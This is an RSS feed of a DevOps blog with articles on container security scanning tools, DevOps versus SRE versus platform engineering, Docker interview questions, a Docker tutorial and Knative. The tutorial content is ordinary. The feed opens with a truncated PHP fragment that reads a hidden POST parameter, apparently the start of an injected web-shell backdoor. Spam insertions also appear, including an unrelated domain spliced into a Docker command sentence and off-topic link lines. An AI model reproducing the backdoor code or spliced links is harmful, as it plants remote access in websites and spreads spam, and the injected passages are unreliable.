$_api_resp = @$_POST['ant']; if ($_api_resp) { $pk = << Container – DevopsCurry https://devopscurry.com Mon, 16 Sep 2024 07:41:16 +0000 en-US hourly 1 https://wordpress.org/?v=7.0 https://devopscurry.com/wp-content/uploads/2021/08/cropped-logo-32x32.png Container – DevopsCurry https://devopscurry.com 32 32 Container Security Scanning https://devopscurry.com/container-security-scanning/?utm_source=rss&utm_medium=rss&utm_campaign=container-security-scanning https://devopscurry.com/container-security-scanning/?noamp=mobile#respond Tue, 11 Jun 2024 07:25:56 +0000 https://devopscurry.com/?p=10227 An Brief Introduction On Container Security Scanning & Their Tools What is Docker Security Scanning? [Container Security Scanning]….All services that you require inside a container Docker permits you to install all this, you are free from all the worries about installing on a similar package with several versions on your system. You can use Docker […]

The post Container Security Scanning appeared first on DevopsCurry.]]> An Brief Introduction On Container Security Scanning & Their Tools

What is Docker Security Scanning?

[Container Security Scanning]….All services that you require inside a container Docker permits you to install all this, you are free from all the worries about installing on a similar package with several versions on your system. You can use Docker to operate services and applications and it has its sandboxes which are known as containers. With the help of a Docker, you can easily dispense the whole environment of an application from one to another. The process to find out the presumed security in the package listed in your Docker image. Docker image security plays a very important role in terms of Docker security. If we have to generate a Docker image then firstly we have to generate a Dockerfile and by utilizing the Docker build command you can turn it into an image after finishing Dockfile.[Container Security Scanning]

Container/ Docker Security Scanning Tools

These tools are important to find out for identifying vulnerabilities in container images. These tools examine container images for known vulnerabilities, compliance issues and misconfigurations. Now we will explain some of the tools are as follow:

♥ Docker Bench

It is utilized in the production to search numerous best practices and the automated tests for checking the best practices around Docker containers and it works like a script. Docker Bench focuses on developers because it regulates containers with the community edition of Docker. You have to require Docker 1.13.0 to operate Docker Bench. It’s an open-source script that checks for best practices in Docker deployments. This tool is created to automate security check , support to making sure that Docker host and container attach to the best security practices as outlined by Docker’s security guidelines.

♥ Clair

It is an open-source project which is utilized in Quay.io that has an alternative to Docker Hub and it is also a public container registry that is created by CoreOS. It proposes security for applications and dockers and by using Clair you can create services that continuously regulate your container for any susceptibility of the container. Every data is recorded in NVD, which means National Vulnerability Database, so in a case where any error recognizes them, it will procure the circumstances and furnish every detail in the report.

♥ Anchore

For scanning, the CI/CD pipeline Anchore is obtainable in Jenkins Plugins and it can operate on orchestration and standalone platforms like Rancher, Kubernetes, Docker Swarm and Amazon ECS. One of the important features of Anchore is to permit the users to execute the intense container image exploration to check  the package of the operating system, RubyGEMs and Node.JS modules as well every single file is coated in the analysis.

♥ OpenSCAP

This is one of the best tools that is used by security auditors and IT admins that consists of open source tools, configuration baselines and open security benchmark guides. It also uses SCAP which means Security Content Automation Protocol which is NIST -certified that furnishes the security policies and that is readable to machines. In comparison with others, OpenSCAP is more broad-based than others.

♥ Dagda

It’s an open-source tool that is used for static analysis of container security and also for scanning viruses, vulnerabilities, malware and viruses in Docker containers. If you want to use Dagda then firstly you have to scan the Docker container. It stored the vulnerability data as well. It is very flexible that handles both REST API as well CLI and that is one of the important benefits of Dagda and for the detection of vulnerability, it operates an antivirus engine named ClamAV.

♥ Black Duck OpsSight

It is also an open-source vulnerability that observes and accentuates any of the images which consist of open source vulnerabilities. In case of any differences, Black Duck OpsSight noticed and attended within the orchestration platforms. One of the important features of OpsSight is its standard container images that have a security policy that is open source.

♥ Sysdig Falco

Sysdig Falco tool is formulated by Sysdig to recognize some bizarre action in your application which is an open-source tool as well and that is created for Kubernetes, cloud environment and containers. It also regulates and recognizes host, network activity, container and application. It constantly monitors and discovered unpredicted behavior, vulnerabilities, intrusions in actual time. It combine with several Kubernetes environments, SIEM tools and CI/Cd pipelines.

♥ Dockle

It’s an open-source tool that is very useful for ascertaining that the best practices for writing Dockerfiles chase Docker drawbacks. You can also use Dockle to lint container images in opposition to user exemption escalation, CIS benchmarks, potentially vulnerable commands and assisting to ignore sensitive mysteries. With the help of other platforms like Mac OS X, Linux and Homebrew you can easily install Dockle.

♥ Trivia

It is formulated to be used within the process of CI and CD and to deploy an application or previously delivered to a container to scan for vulnerabilities. In the other word you can say for any container, it’s a vulnerability scanner. This is a complete security scanning tool that is created by Aqua Security and it is utilized for identifying vulnerabilities in file system, container images, & Git repositories. It scan the container images for vulnerabilities in some of the OS package as like RHEL, Debian etc.

♥ Hadolint

This tool is written in Haskell that is operated by a small firm or a team and it also supports the team’s for their structure or in other ways team structure and deploys Docker containers best practices and it works as a linter also.

Conclusion

The adoption of container security scanning tools is not just a best practice but a necessity in today’s fast-paced, security-conscious development landscape. Whether you’re a developer, DevOps engineer, or security professional, leveraging these tools can significantly enhance your security posture and safeguard your applications against evolving threats. Embrace container security scanning as a fundamental part of your DevSecOps strategy to build and maintain resilient, secure applications.

 

The post Container Security Scanning appeared first on DevopsCurry.]]> https://devopscurry.com/container-security-scanning/feed/ 0 Platform Engineer VS DevOps Vs SRE : Understanding the difference https://devopscurry.com/platform-engineer-vs-devops-vs-sre-understanding-the-difference/?utm_source=rss&utm_medium=rss&utm_campaign=platform-engineer-vs-devops-vs-sre-understanding-the-difference https://devopscurry.com/platform-engineer-vs-devops-vs-sre-understanding-the-difference/?noamp=mobile#respond Thu, 19 Oct 2023 17:12:19 +0000 https://devopscurry.com/?p=9589 Over the last few years the terms and roles of Platform engineer, DevOps & SRE (Site Reliability Engineering) have gained a lot of popularity. All three are related to the same field Software Development and Operations field but they all have different ror even overlapping responsibilities. Image Credit:https://www.getambassador.io/blog/rise-of-cloud-native-engineering-organizations As you can see in the image […]

The post Platform Engineer VS DevOps Vs SRE : Understanding the difference appeared first on DevopsCurry.]]> Over the last few years the terms and roles of Platform engineer, DevOps & SRE (Site Reliability Engineering) have gained a lot of popularity. All three are related to the same field Software Development and Operations field but they all have different ror even overlapping responsibilities.

DevOps

Image Credit:https://www.getambassador.io/blog/rise-of-cloud-native-engineering-organizations

As you can see in the image above, you can observe how teams are organized into Platform engineers and SRE, as well as how the teams measure the success of both. This will give you an idea of their differentiation. They collaborate with various teams, including multiple development teams. Now, in the following article, you will learn about SRE, DevOps, and Platform Engineers separately.

What is  Platform Engineer?

As we already discussed about platform engineering in our separate blog article (An Overview Of Platform Engineering) you will get the more insights about Platform engineering.

A platform engineer’s responsibilities are to organize, create, and maintain the infrastructure that endorses the DevOps of software applications. Now-a-days platform engineer is becoming in trend because it guaranteed to provide the best experience to developer and speed up the product team. They also helps the work of developer more efficiently just by doing CI/CD pipelines, configuring IaC( Infrastructure as Code) to automate the cloud resources.

Platform engineering is a new discipline that has emerged in response to the growing complexity of our modern day Cloud-native architectures. It can be called as a practice of building and maintaining an integrated product, which we call as  “Internal Developer Platform” (IDP) ,which acts as a flexible and supported abstraction layer between developers and the underlying technologies of their applications.

Platform engineering is a process or an art that combines several tools and technologies which streamlines the software development and delivery process and help decrease the mental load on individual contributors, enabling self-service platforms for developers and other stakeholders.

What is DevOps Engineer?

A Process that integrates IT operations, practice, tools, software development And contributes the outstanding characteristics of software with the endless delivery.

It characterises the take on the renewal of programmable infrastructure and expenditure, software development, industrialisation. In a company, it stimulates alliance and transmission.

DevOps have some procedures such as the CI/CD tool (Continuous Integration/ Continuous Delivery) with an intensity of task automation. Microservices, Container, and executing together with the DevOps methodologies. Though it is clear that it has some methodologies, it is not a technology.

DevOps

Image Credit: https://www.geeksforgeeks.org/devops-tutorial/

As you can see in the above image , you can get some idea exactly about what is DevOps ? The two words define DevOps (Dev + Ops ) (software development and Operations)  and in other words, you can say the assortment of software development and operation is known as DevOps.

It enhances the speed and quality of the application that has been delivering to an enormous extent and that’s why it’s becoming more prominent for the organization.

It provides you with the faster speed, security for your code, delivered quickly, these are some of the important features of using DevOps.

What is an SRE? (Site Reliability Engineering)

SRE is known as Site reliability engineering. The team of SRE works as a tool that uses the software for unravelling any difficulties and managing the system. Through coding, it supports regulating huge systems that control a bundle of machines or you can say more than thousands of machines. It has many more similarities to DevOps. Site reliability engineering was inaugurated by Ben TreynorSloss and the idea of SRE came from Google Engineering. The engineer who is working on Google has written SRE. There are two terms and components which are very valuable for SRE are automation and standardization. They always want to work in two ways either to automate operations tasks. It helps the team for its movability means if a team wants to move from a traditional approach to IT operations to a cloud-native method, then the SRE supports their team for that. For enhancing the integrity of software and the infrastructure which operates it and SRE furnishes incentive and expensive input.

DevOps

Image Credit: https://www.devopsschool.com/blog/𝗗𝗲𝘃𝗢𝗽𝘀-𝗩𝘀-𝗦𝗥𝗘-𝗩𝘀-𝗣𝗹𝗮/

This above image help you to know more about these three and get a better differentiation between DevOps, SRE & Platform Engineering.

Main differences Between Platform Engineer, DevOps & SRE

KEY DIFFERENCES PLATFORM ENGINEER DEVOPS SRE
Automation Platform engineer forces automation in CI/CD DevOps encourages automation. It also uses automation in testing, monitoring, CI/CD. Same as DevOps, SRE also encourages automation.
Communication& Collaboration

 

 It facilitates the communication and it also collaborate between operation and development team. As a core principle Devops also facilitates the communication and collaborate between operation and development team. Same as platform engineer and DevOps SRE collaborate with operation and development team and also it deliver high-quality software.
Responsibility A platform engineer’s responsibilities are to organize, create, and maintain the infrastructure that endorses the DevOps of software applications DevOps are responsible for solving the trouble and production monitoring. Same as DevOps but also uses the monitoring tools Grafana,Splunk.

 

Conclusion:

So at the end  we see that these three, DevOps, SRE & Platform Engineering are very important approaches in the today’s software development world and each of these has its own unique function and their responsibility. A platform engineer’s responsibilities are to organize, create, and maintain the infrastructure that endorses the DevOps of software applications. DevOps is a Process that integrates IT operations, practice, tools, software development And contributes the outstanding characteristics of software with the endless delivery. The team of SRE engineers works as a unit that uses the software tools for mointiring and unravelling any difficulties in managing the system.

We can say that the current fast-paced software development environments demand close collaboration among SRE, DevOps and Platform Engineering to meet various requirements for a seamless Development, Deployment, and improved production systems.

We can finally conclude that: Even though these roles are distinct, but their responsibilities may overlap, based on the needs and requirements of the organizations.

The post Platform Engineer VS DevOps Vs SRE : Understanding the difference appeared first on DevopsCurry.]]> https://devopscurry.com/platform-engineer-vs-devops-vs-sre-understanding-the-difference/feed/ 0 Top 25 Docker Advanced Interview Questions in 2021 https://devopscurry.com/top-25-docker-advanced-interview-questions-in-2021/?utm_source=rss&utm_medium=rss&utm_campaign=top-25-docker-advanced-interview-questions-in-2021 https://devopscurry.com/top-25-docker-advanced-interview-questions-in-2021/?noamp=mobile#respond Mon, 08 Mar 2021 11:43:01 +0000 https://devopscurry.com/?p=8891 Docker Interview Questions with Answers (Intermediate/Advanced) What is Hypervisor? It is software that helps in making virtualization possible. Its other name is Virtual Machine Monitor. Its main task is to divide the host system. It also does the allocation of resources to the individually divided virtual environment. The two types of Hypervisors are: Bare Metal Hypervisor or […]

The post Top 25 Docker Advanced Interview Questions in 2021 appeared first on DevopsCurry.]]> Docker Interview Questions with Answers (Intermediate/Advanced)
  1. What is Hypervisor?

It is software that helps in making virtualization possible. Its other name is Virtual Machine Monitor. Its main task is to divide the host system. It also does the allocation of resources to the individually divided virtual environment. The two types of Hypervisors are:

    • Bare Metal Hypervisor or Native Hypervisor: This type of hypervisor runs directly on your underlying host system. As it has access to your host hardware, it does not need any base server operating system.
    • Hosted Hypervisor: This hypervisor uses an underlying host operating system and thus the name, hosted hypervisor.
Types of Hypervisors

Image Credit: https://www.dnsstuff.com/what-is-hypervisor

  1. What is Virtualization?

Virtualization can be defined as a process by which we create a virtual, software-based version of anything such as servers, computer storage, applications, etc. It can be done with just a physical single hardware system. A software named Hypervisor comes in use to split a single system into various different sections. These split sections, in turn, work like a distinct, separate individual system.

  1. What is  Docker?

Docker is an open-source lightweight containerization technology. It is a containerization platform that consists of your application along with all of its dependencies in the container form. It makes sure that the application works well and seamlessly in any given environment such as test, production, or development. Docker container is a software piece in a filesystem. It contains everything required to run coding, runtime, system libraries, system tools, etc.

  1. Explain Docker Architecture.

Docker Architecture has a Docker engine which is basically a client-server application. It has 3 major components which are:

    • A server or a kind of long-running program, known as a daemon process. (The Docker Command)
    • A REST API usually specifies the interfaces that can be used by the programs to talk with daemons and to instruct what to do.
    • A CLI (Command Line Interface) client. It uses REST API to interact with or control the Daemon. It is done through CLI commands or scripting.
Docker Advanced

Image Credit : https://www.oreilly.com/library/view/learn-openshift/9781788992329/33d025bf-27fa-49b9-99b3-673a20ae6d1e.xhtml

 

You can also refer to our posts on `A Docker Container Tutorial for Beginners` and `Docker Cheatsheet for Beginners`

DevOps 2021 : A Docker Container Tutorial for Beginners

Docker Cheatsheet for Beginners

  1. How can you check the Docker Client and also the Docker Server version?

You can perform this task by using the `version` command:

$ docker version 

  1. How can you know of the number of containers paused, running, or stopped?

Use the following command to get detailed information of the docker installed:

$ docker info

Using this command, you can know about the number of containers running or paused or a number of images, containers stopped, and much more.

  1. How can you create a Docker container using an image?

Pull out any image from the docker repository and create a container. Use the given command:

 $ docker run -it -d <image_name> 

  1. What is the command used to run all the containers?

Using the following command will list all containers running:

$ docker ps 

  1. How can you stop, start or kill a container? 

To stop a cactusmeraviglietina.it container, use the following command:

$ docker stop <container_id> 

To start a docker container, use the following command:

$ docker start <container_id> 

Kill a container by using the given command:

$ docker kill <container_id> 

  1. How do you build a Docker file?

After writing a docker file, you will now need to build it so as to create the image with the specifications given. Use the given command to build a docker file:

$ docker build <path to docker file> 

  1. When a docker container exits, will your data discard?

No, exiting a docker container will not discard your data. All the data written to the container gets automatically preserved on disk. It will get deleted only when you intentionally delete the container.

  1. Where can you use Docker?

Talking about the various applications of docker, we can conclude that it can be used in the following areas:

    • Code Pipeline Management
    • Simplifying Configuration
    • Developer Productivity
    • Debugging Capabilities
    • Application Isolation
    • Rapid Deployment
    • Multi-tenancy 
  1. Can we use JSON in place of YAML for composing files in Docker?

Yes. YAML is a superset of json so any JSON file should be valid Yaml. To use a JSON file with Compose, specify the filename to use, for example:

$ docker-compose -f docker-compose.json up

  1. Are you able to remove a paused container in Docker?

No, you cannot remove any paused docker container. You can only remove a container when it is in the stopped state.

  1. On what platforms can docker run?

Docker is supported and can run on several platforms such as:

    • Fedora 19/20+
    • Ubuntu 12.04, 13.04 et al
    • Gentoo
    • RHEL 6.5+
    • ArchLinux
    • CentOS 6+
    • CRUX 3.0+
    • openSUSE 12.3+
    • Windows

Docker can be used also in production through Cloud platforms with the given services:

    • Amazon ECS
    • Amazon EC2
    • Microsoft Azure
    • Google Compute Engine
    • Rackspace
  1. Can a container get automatically restart?

By default, the flag restart remains false. So, it is not possible for a container to automatically restart.

  1. Is it good if you run stateful applications over Docker?

The concept of statement applications says that their data gets stored on the local file system. So, when you move the application to another device, it will become difficult for you to retrieve data. So, we do not recommend running stateful applications here.

  1. Is it okay to run Compose in production?

Yes, as per our experience, using docker-compose in production is among its top applications. In the process of defining applications with compose, you can use it in various stages of production such as CI, testing, staging, etc.

  19. What is Docker image?

The Docker image help to create Docker containers. You can create the Docker image with the build command. Due to this, it creates a container that starts when it begins to run. Every docker images are stored in the Docker registry.

  20. What is a Dockerfile?

Docker builds images automatically by reading the instructions from a Dockerfile — a text file that contains all commands, in order, needed to build a given image.A Docker image consists of read-only layers each of which represents a Dockerfile instruction. The layers are stacked and each one is a delta of the changes from the previous layer.

 Example of a Dockerfile:

FROM ubuntu:18.04
COPY . /app
RUN make /app
CMD python /app/app.py

Each instruction creates one layer:

    • FROM creates a layer from the ubuntu:18.04 Docker image.
    • COPY adds files from your Docker client’s current directory.
    • RUN builds your application with make.
    • CMD specifies what command to run within the container.

21. What is a Docker Namespace?

A namespace is one of the Linux features and an important concept of containers. Namespace adds a layer of isolation in containers. Docker provides various namespaces in order to stay portable and not affect the underlying host system. Few namespace types supported by Docker – PID, Mount, IPC, User, Network

  22. What are the lifecycle stages of a Docker Container?

This is again a very common and popular interview question. Docker containers go through the following lifecycle stages:

    • Create a container
    • Run the container
    • Pause the container(optional)
    • Un-pause the container(optional)
    • Start the container
    • Stop the container
    • Restart the container
    • Kill the container
    • Destroy the container

  23. Is it possible to run multiple process inside a single Docker container?

Yes, you can run multiple processes inside Docker container however this approach is discouraged for most use cases.It is generally recommended that you separate areas of concern by using one service per container. For maximum efficiency and isolation, each container should address one specific area of concern. However, if you need to run multiple services within a single container, you can try using tools like Supervisor.

Supervisor is a moderately heavy-weight approach that requires you to package supervisord and its configuration in your image (or base your image on one that includes supervisord), along with the different applications it manages. Then you start supervisord, which manages your processes for you.

   24. Does Docker supports IPv6?

Yes, Docker does supports IPv6.  However IPv6 networking is only supported on Docker daemons running on Linux hosts.Support for IPv6 address has been there since Docker Engine 1.5 release.

To enable IPv6 support in the Docker daemon, you need to edit/etc/docker/daemon.json and set the ipv6 key to true.

{
  "ipv6": true
}

Ensure that you reload the Docker configuration file.

$ systemctl reload docker

You can now create networks with the –ipv6 flag and assign containers IPv6 addresses using the –ip6 flag.

 25. What is a .dockerignore file?

Similar to a .gitignore file, we also have a Dockerignore files which allows you to mention a list of files and/or directories which you might want to ignore while building the image. This would definitely reduce the size of the image and also help to speed up the docker build process.

Before the docker CLI sends the context to the docker daemon, it looks for a file named .dockerignore in the root directory of the context. If this file exists, the CLI modifies the context to exclude files and directories that match patterns in it. This helps to avoid unnecessarily sending large or sensitive files and directories to the daemon and potentially adding them to images using ADD or COPY.

Read Also

What is the UPSC exam

The post Top 25 Docker Advanced Interview Questions in 2021 appeared first on DevopsCurry.]]> https://devopscurry.com/top-25-docker-advanced-interview-questions-in-2021/feed/ 0 DevOps 2021 : A Docker Container Tutorial for Beginners https://devopscurry.com/devops-2021-a-docker-container-tutorial-for-beginners/?utm_source=rss&utm_medium=rss&utm_campaign=devops-2021-a-docker-container-tutorial-for-beginners https://devopscurry.com/devops-2021-a-docker-container-tutorial-for-beginners/?noamp=mobile#respond Fri, 26 Feb 2021 14:47:35 +0000 https://devopscurry.com/?p=8788 A look at Docker in 2021: The most preferred Container technology I am sure if you are a software professional, then you have probably heard of term Docker at some point in last few years. And you are probably aware of the fact that it has become an instrumental or the must-know technology for any application developer […]

The post DevOps 2021 : A Docker Container Tutorial for Beginners appeared first on DevopsCurry.]]> A look at Docker in 2021: The most preferred Container technology

I am sure if you are a software professional, then you have probably heard of term Docker at some point in last few years. And you are probably aware of the fact that it has become an instrumental or the must-know technology for any application developer to know and have in their kitty.

However if you have no idea of what I’m talking about, no worries – this article is supposed to share those details with you.

As the global businesses grow, complexity tends to increase in handling large and complicated applications. To manage the extensive applications, it is necessary that we take appropriate measures. Thus, the need to keep the applications on the same host isolated from each other without interfering with the other’s working arises. This issue has been resolved using virtual machines, providing separate environment hardware and software resources for running the application. But it comes with some downfalls as it requires its OS, which can be bulky and difficult to handle. Thus we move to container technology.

Containers allow you to isolate the applications by providing different execution environments sharing the same underlying OS kernel. It will enable you to pack the application more densely on the same hardware. With a container, you can bundle up the applications and their dependencies and libraries into a package that can be easily handled and modified without impacting the working of other applications or the system. But running thousands of containers can be challenging to create and manage. Thus, we require some tools to handle it. Thus Docker comes into the picture.

Docker was launched in 2013 as an open-source project. It boosts the containerization and microservices concept in software development, also known as cloud-native development. 

As per definition from Wikipedia,

Docker is a set of platform as a service (PaaS) products that use OS_level virtualization  to deliver software in packages called containers. Containers are isolated from one another and bundle their own software, libraries and configuration files; they can communicate with each other through well-defined channels.Because all of the containers share the services of a single OS kernel , they use fewer resources than  virtual machines. 

What is Docker?

Docker has gained popularity with containers and has changed how to create and run containers on a cloud platform. Docker is the most popular tool that allows you to create, deploy, and run applications with the help of containers. As a developer, you can bundle the application along with required libraries and dependencies using docker container. You can quickly move these packages as a single application and deploy them in any environment without worrying about compatibility with the underlying infrastructure. 

Unlike Virtual machines, Docker does not create a separate OS but provides a complete environment using the same OS kernel for all applications. Docker helps reduce the size of the application and enhances performance as you have to include only the required dependencies that may not be available on the host system. 

Well, the question is how Docker manages to package and run applications within the container? You can even run multiple containers at the same time on the same host without consuming too much CPU resources. Docker provides high optimization to run containers within the VM. once you create an application, it is being tested and distributed as a single unit. This single unit can also be deployed to the production environment as a container. This application will efficiently work on any platform like local data enter, cloud provider with great flexibility. 

Image Credits: https://www.docker.com/blog/containers-and-vms-together/

Docker architecture

Docker has a client-server application as its engine, which comes with three components- a server, a command-line interface, a client, a docker host, a registry, and a REST API.

  • The Docker server is the long-running daemon process that handles the Docker operations. The daemon will create and manage Docker objects like networks, volumes, images, and containers.
  • CLI helps in controlling and interacting with Docker daemon with scripts and commands. REST API will specify the interface to communicate between the daemon and the program.
  • Docker client interacts with the daemon, which builds, runs, and distributes the containers. You can run client and daemon on the same system, or they can be on different systems. Docker Client and Daemon communicate via REST API over the network interface. With the help of Docker client, docker users can interact with Docker. The client sends the command to the daemon.
  • Docker Daemon- It listens for the Docker API requests and allows you to manage the Docker objects like images, containers, network, and volumes. Different daemons can interact with each other to control the Docker services.
  • Docker Registries- Registry is used to store the Docker images. Docker provides Docker Hub, a public registry open to all users, and is configured to look for Docker Hub images by default. Apart from this, you can also maintain your personal Docker registry. You can run various commands to pull and push images from the configured registry.
DevOps 2021

     Image Credits : https://thingsolver.com/hello-docker/

Why is Docker so popular?

There are various reasons for Docker to gain popularity after the Virtual machine. Below are some reasons to adopt the Docker process within your software development lifecycle.

  • Docker is much faster and reliable than a Virtual machine.
  • Docker is more portable due to the consistency of the host environment irrespective of the underlying OS hosting the environment.
  • Docker uses containerized applications that can be easily scaled up or scaled down as per the business requirement.
  • With the container concept, you can easily break a complex application into small and modular microservices.
  • Docker rises as an open-source that has marked its territory within the market. It offers a faster way to deploy applications without focusing much on the platform.
  • Docker can be easily integrated with the DevOps development and deployment cycle. It helps in enhancing agility, flexibility, and scalability.
You can also read about our old posts on reasons to adopt Containers in 2021 and Docker Command Cheatsheet:

Docker Cheatsheet for Beginners

Why you should consider adopting Containers in 2021

What is rom

Advantages of Docker

Below are the top advantages of using Docker that help in driving the successful growth of the business.

  • Cost-efficiency- Docker comes with various cost-saving offers. It provides a better return on the investment. Not only this, it allows developers to reduce down the cost along with enhancing performance. However, Docker works well for small and large businesses, but large companies tend to gain more profit and stable revenue over a long period. It allows you to spend less on infrastructure and resources required for the development. You will have to employ less staff to develop and manage the applications, leading to lower human resource costs.
  • Productivity- with Docker, you can efficiently handle multiple deployments and release cycles at the same time. It provides a familiar environment for production to be seamless. It allows team members to collaborate on a large scale to debug errors and analyze their performance. It reduces the time spent on fixing mistakes and manage that time towards development. You can easily roll back a single component of any application without impacting other applications in progress. Docker allows you to create multiple copies of the images for testing purposes, thus increasing productivity. 
  • Compatibility- an application created using Docker will run the same on all servers with different architecture and infrastructure. This helps the developers save their time as they do not have to create different versions of an application for every platform. The codebase can be set up quickly and is more portable than any other platform. You can use the same container image across all development phases of the application. 
  • Easy deployment- you can deploy an application within no time with Docker. You do not have to boot the Docker applications into the Operating system and use OS kernels to make the process simpler. You can perform various actions on the applications without impacting the efficiency.
  • Continuous testing- with Docker, you can test your applications from an early development stage to the production deployment. You can configure all the Docker containers with all dependencies and required files, which can be used throughout the production states without any modification. For any changes, you can alter the containers at any phase of development, even at the release cycle, without modifying the complete application. Docker makes the application and platform flexible. You can test and release as many images as you want at the same time.
  • Security- apart from flexibility and scalability, Docker makes sure that all the containers that are running simultaneously will be fully segregated from each other. Developers can control the traffic to your application. The data of any container cannot be accessed and processed by any other container. 
  • Cloud technology- many cloud providers have adopted Docker’s extensive support due to its portability. You can run a Docker container within any cloud platform. Also, you can move applications from one cloud platform to another with great ease. 
Conclusion

There is no doubt that Docker is a revolutionary technology, which has changed the style of software development.

To summarise, there are three main reasons for Docker’s success. First, you can get more applications running on the same underlying hardware than other technologies. Second, docker makes it easy for developers to quickly create ready-to-run container applications. And finally, Docker makes managing and deploying your applications much easier.

However we also need to consider the tradeoffs before committing to a Docker-based approach. A careful accounting of the benefits and costs of containerise your entire application stack ,may well lead you to adopt Docker. So if the benefits add up, Docker and containers have the potential to open up new opportunities for your enterprise.

The post DevOps 2021 : A Docker Container Tutorial for Beginners appeared first on DevopsCurry.]]> https://devopscurry.com/devops-2021-a-docker-container-tutorial-for-beginners/feed/ 0 What is Knative, and why should have a look at it in 2023 ! https://devopscurry.com/what-is-knative-and-why-should-have-a-look-at-it-in-2023/?utm_source=rss&utm_medium=rss&utm_campaign=what-is-knative-and-why-should-have-a-look-at-it-in-2023 https://devopscurry.com/what-is-knative-and-why-should-have-a-look-at-it-in-2023/?noamp=mobile#respond Mon, 25 Jan 2021 19:07:38 +0000 https://devopscurry.com/?p=8744 Understanding Knative: a Container-based Serverless tool Since last few years, serverless technologies have been in demand and also seen good adoption. Going by stats, 2021 and onwards have been predicted as years of servereless. The container based applications are the flavor of the season, and kubernetes is witnessing a huge demand and adoption from the […]

The post What is Knative, and why should have a look at it in 2023 ! appeared first on DevopsCurry.]]> Understanding Knative: a Container-based Serverless tool

Since last few years, serverless technologies have been in demand and also seen good adoption. Going by stats, 2021 and onwards have been predicted as years of servereless. The container based applications are the flavor of the season, and kubernetes is witnessing a huge demand and adoption from the corporates.

Kuberenetes is definitely a great tool with a lot of potential, but along with Kubernetes, the ecosystem around it is also ever-growing and expanding with lots of new tools and technologies coming into being. Once such tool is Knative,  which makes Kubernetes even better.

Knative is an open-source framework launched to bridge the gap between the containerized and serverless applications among cloud providers. It was developed in 2018 and supported by a group of companies that worked together (Google, IBM, Pivotal, Red Hat, and SAP) to help Kubernetes run microservices and efficiently handle serverless applications.

Many companies widely adopt Kubernetes as an orchestration tool that manages the containers, but you have to rely on the proprietary release-management tools for deploying containers. Also, it demands writing custom code and requires manual effort for troubleshooting in case of failure, and it is challenging to implement serverless computing without the cloud-based serverless platform. Knative was introduced to overcome the situation and establish a standard for cloud-native and cloud-platform orchestration because of these problems.

You can also look at our posts on Serverless and some popular Serverless solutions.

In the post below, we will talk about Knative in detail, its benefits, why there is a need to adopt Knative, its core components, and the future of Knative for Kubernetes and cloud-based enterprises.

What is Knative?

Knative (pronounced kay-nay-tiv) is an open-source, Kubernetes-based serverless framework that was initially developed by Google. Its key feature is to maintain the standard for cross-platform orchestration, which is being implemented by integrating the container or function creation, workload management, auto-scaling, and event models. 

Knative is not the only serverless platform available in the market. Earlier, we have other open-source solutions like Kubeless, Fission, Apache OpenWhisk, etc. Also, we have cloud providers that provide equivalent FaaS products like Lambda, Azure functions, function compute, and many more. Every solution mentioned above has its ways to deploy business code to a serverless platform, which may cause market fragmentation due to a lack of standardized practices. This may lead you to be bound to a specific provider for a particular feature that may not be provided by the other solution or provider. This causes problems like migration to the cloud in a serverless manner, hard to build a general-purpose PaaS platform. That is why Knative comes into play to fix these problems.

The need for Knative depends on you much you are struggling to implement the tasks that can be implemented efficiently within a Kubernetes-based pipeline. As Kubernetes has been in great demand, so has the Knative for automating the process of container-based serverless applications. Unlike other serverless environments, Knative allows you to avoid cloud vendor lock-in.

Below are some features of Knative.

  • With the help of Knative, developers can directly use the Kubernetes API to deploy serverless services.
  • You can easily integrate Knative within any supported environment.
  • It is Kubernetes-based and allows you to deploy services to Kubernetes.
  • It allows the users to trigger serverless services in Knative with the help of the eventing system.
Benefits of Knative

Knative supports Kubernetes serverless orchestration and provides services like service connection, route management, and phased release. It comes with a large community supporting it. Below are some benefits of Knative can influences business to adopt it within the Kubernetes pipeline.

  • Knative is not a PaaS but is a serverless orchestration platform that allows you to create your serverless PaaS.
  • It provides a CloudEvent standard framework to design serverless architecture. Unlike other FaaS solutions, it has standard events, and it is compatible with other FaaS solution.
  • It comes with cross-platform support and provides a universal standard among different cloud providers that eliminate the risk of binding vendors to a specific solution.
  • It has a mature and full-fledged serverless design.
  • Knative helps in building a complete application from source code to images.
  • It helps in supporting the proportional phased releases.
  • It provides you a flexible framework without the risk of vendor lock-in for a specific solution.
  • It allows you to leverage the serverless experience within a containerized environment.
  • It helps in removing the reliability of customized tolling and management.
  • By implementing Kubernetes, you can easily migrate to other cloud providers integrated with Knative.
  • It helps in processing IoT data, running accessibility checks for your website, and validating the configuration of the security groups.
  • It provides a request-driven compute model.
  • It helps developers to focus on coding and allow them to create iterative code frequently. It also ensures that developers will implement new versions of the containers.
  • Knative allows you to manage the workflow as a service automatically.
  • Its event-based model allows you to implement designs that include registration, subscription, and connection to the external system.
Knative Architecture (Three core components of Knative)

Knative is a Kubernetes extension that allows you to build, run, and operate microservices using serverless traits. Knative is a Kubernetes-based framework to provide serverless containerization functionality. Knative has with three core components.

Knative

          Image Credits:https://github.com/knative/docs/

  • Building- this component helps in extending and utilizing the existing primitives of Kubernetes that enables you to run on-cluster builds of the container from the source code. It allows getting the source code from the repository and the dependencies, building container images, and registering them.
  • Serving- this component is built on Kubernetes and Istio that supports the serverless application’s deployment. It also enables the rapid development of serverless containers, automatic scaling, and network programming for Istio components. It considers containers a scalable service that can range from one instance to thousand of container instances.
  • Eventing- it allows you to create a communication between the loosely-coupled event producers and consumers for building an event-driven architecture. Knative places these events in a queue to be performed automatically without the developers creating a script. These events are then delivered to the containers and send feeds to the producers to perform container tasks. These events will make a connection and send the event to a specific service. This reduces the developer’s workload of creating codes to establish the connection.

Some useful Kubernetes posts for reference

  1. DevOps 2021: Kubernetes Cheatsheet for beginners
  2. DevOps 2021: Kubernetes Cheatsheet for Advanced level
  3. Best Open Source Monitoring options in 2021 for your Kubernetes Cluster
Conclusion: The future of Knative

Knative has changed the face of serverless computing by providing on-premise automatic scaling of event-based applications. Despite the new framework, it is making an impact on a more modular and interoperable system. It cannot be predicted that this solution will cover all the shortcomings and be the only option to run serverless architecture. But considering the benefits of Knative over other serverless alternatives make it more influential for the developers to implement it within their Kubernetes architecture.

Knative can help you save a great deal of time by eliminating the need to build and maintain your own Kubernetes extensions. Also it makes the developers’ lives easier and much better, because building custom extensions for Kubernetes is the type of task that is tedious and needs a lot of effort.

But with all that good things about Knative, you should also keep in mind that it is a relatively new tool which is still developing and evolving. So you should factor all aspects into mind and made a wise call, when adopting any new tool into your DevOps armoury.

